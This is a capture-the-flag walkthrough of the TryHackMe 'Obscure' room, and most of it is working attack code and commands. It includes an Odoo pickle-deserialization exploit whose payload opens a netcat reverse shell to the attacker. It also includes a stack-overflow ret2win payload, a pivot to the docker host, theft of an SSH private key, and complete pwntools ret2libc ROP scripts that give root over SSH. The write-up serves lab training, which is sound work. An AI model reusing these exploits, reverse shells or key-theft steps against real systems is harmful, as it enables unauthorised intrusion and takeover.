Obscure
Room Link: https://tryhackme.com/r/room/obscured
Scans
Initial scan
Kali
nmap -A $VICTIM

Longer scan
Kali
nmap -sV -sT -O -p 1-65535 $VICTIM

TCP/21 - FTP
Kali
ftp $VICTIM 21
Username: anonymous
Kali(ftp)
binary
passive
cd pub
mget *


Kali
echo $VICTIM antisoft.thm >> /etc/hosts
cat /etc/hosts
We find a function that checks if the password is equal to 971234596, if it is the program gives us the password.
Kali
ghidra

Kali
chmod +x password
./password
971234596

Login Credentials
Username: admin@antisoft.thm
Password: SecurePassword123!
Initial Shell
exploit: https://www.exploit-db.com/exploits/44064
In order to exploit the vulnerability, you should navigate to the Apps page (the link is in the navigation bar at the top and search for and install Database Anonymization in the search bar. We have to deselect the Apps filter in the search bar for it to show up.

Install Database Anonymization

Once we have the module installed, we navigate to the settings page and select Anonymize database under Database anonymization and click on the Anonymize Database button.


exploit.py
import cPickle
import os
import base64
import pickletools
class Exploit(object):
def __reduce__(self):
return (os.system, (("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc $KALI 1337 >/tmp/f"),))
with open("exploit.pickle", "wb") as f:
cPickle.dump(Exploit(), f, cPickle.HIGHEST_PROTOCOL)
Kali
python2.7 exploit.py
nc -lvnp 1337
Next, we refresh the page and navigate to the same page under settings. We upload the exploit.pickle file generated our script and click on Reverse the Database Anonymization button. We should have a reverse shell.


Victim
script -qc /bin/bash /dev/null
ctrl + Z
stty raw -echo;fg

Netcat
Kali(receiving)
nc -l -p 1234 > ret
Victim(sending)
nc -w 3 $KALI 1234 < ret
Lateral Movement #1
Kali
ghidra


Kali
cyclic 256
Kali
gdb ret
Kali(gdb)
r

This tells us it crashes after 136 characters
Kali
cyclic -l 0x6261616a

We see the win function is located at 0x400646
Kali
objdump -t ret

Confirmed it crashes after 136.
Kali
python -c 'print("A"* 137)' | ./ret

I wanted to confirm it would crash where we expected so I added the program into a for loop
payload.py - version 2
from pwn import *
import subprocess
for i in range(130, 140):
payload = b'A'*i + p64(0x400646)
print ("Current value: " + str(i))
f = open('/root/payload.bin', 'wb')
f.write(payload)
f.close
os.system("(cat payload.bin; cat) | ./ret")
We can see 137 did work on our local box and got us to the win function when adding it's address to the script
Kali
python payload.py

Now to create our payload and send it to the victim
payload.py - version 2
from pwn import *
payload = b'A'*136 + p64(0x400646)
f = open('/root/payload.bin', 'wb')
f.write(payload)
f.close
Testing that the payload still works on our local machine.
Kali
(cat payload.bin; cat) | ./ret

Kali
python2 -m SimpleHTTPServer 82
We are root but only within the docker container.
Victim
cd /tmp
curl http://$KALI:82/payload.bin -o payload.bin
(cat payload.bin; cat) | /ret

Lateral Movement #2
Victim(root)
ip a
nmap 172.17.0.1


Victim(root)
(cat payload.bin; cat) | nc 172.17.0.1 4444

Victim(zeeshan)
sudo -l


Victim
cat /home/zeeshan/.ssh/id_rsa

id_rsa has no password so we can just login without cracking it
Kali
chmod 600 id_rsa
/opt/john/ssh2john.py id_rsa > id_john.txt

Privilege Escalation
Kali
scp -i id_rsa zeeshan@$VICTIM:/exploit_me /root/exploit_me
ghidra

Kali
checksec exploit_me

Kali
cyclic 256
Kali
gdb exploit_me
Kali(gdb)
r

Kali(gdb)
x $rsp

Kali
cyclic -l 0x6161616b

final.py
from pwn import *
elf = ELF('/root/exploit_me')
elf.address = 0x400000
context.binary = elf
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP([elf])
PUTS_PLT = elf.plt['puts']
MAIN_PLT = elf.symbols['main']
PUTS_GOT = elf.got['puts']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
RET = (rop.find_gadget(['ret']))[0]
r = process('/root/exploit_me')
payload = cyclic(40) + p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
r.sendlineafter('Exploit this binary for root!\n', payload)
leak = int.from_bytes(r.read(6), 'little')
libc.address = leak - libc.symbols['puts']
print(hex(leak))
BINSH = next(libc.search(b'/bin/sh'))
SYSTEM = libc.sym['system']
EXIT = libc.sym['exit']
rop = ROP([libc])
rop.execve(BINSH, 0, 0)
print(rop.dump())
payload = cyclic(40) + rop.chain()
r.sendlineafter('Exploit this binary for root!\n', payload)
r.interactive()
Kali
python final.py

Victim
ldd /exploit_me

Kali
scp -i id_rsa zeeshan@$VICTIM:/lib/x86_64-linux-gnu/libc.so.6 /root/
libc.so.6
final.py - version 2
from pwn import *
elf = ELF('/root/exploit_me')
elf.address = 0x400000
context.binary = elf
libc = ELF('/root/libc.so.6')
rop = ROP([elf])
PUTS_PLT = elf.plt['puts']
MAIN_PLT = elf.symbols['main']
PUTS_GOT = elf.got['puts']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
RET = (rop.find_gadget(['ret']))[0]
s = ssh(user='zeeshan', host='10.10.159.46', keyfile='/root/id_rsa')
r = s.process('/./exploit_me')
payload = cyclic(40) + p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
r.sendlineafter('Exploit this binary for root!\n', payload)
leak = int.from_bytes(r.read(6), 'little')
libc.address = leak - libc.symbols['puts']
print(hex(leak))
BINSH = next(libc.search(b'/bin/sh'))
SYSTEM = libc.sym['system']
EXIT = libc.sym['exit']
rop = ROP([libc])
rop.execve(BINSH, 0, 0)
print(rop.dump())
payload = cyclic(40) + rop.chain()
r.sendlineafter('Exploit this binary for root!\n', payload)
r.interactive()
Kali
python3 final.py

Last updated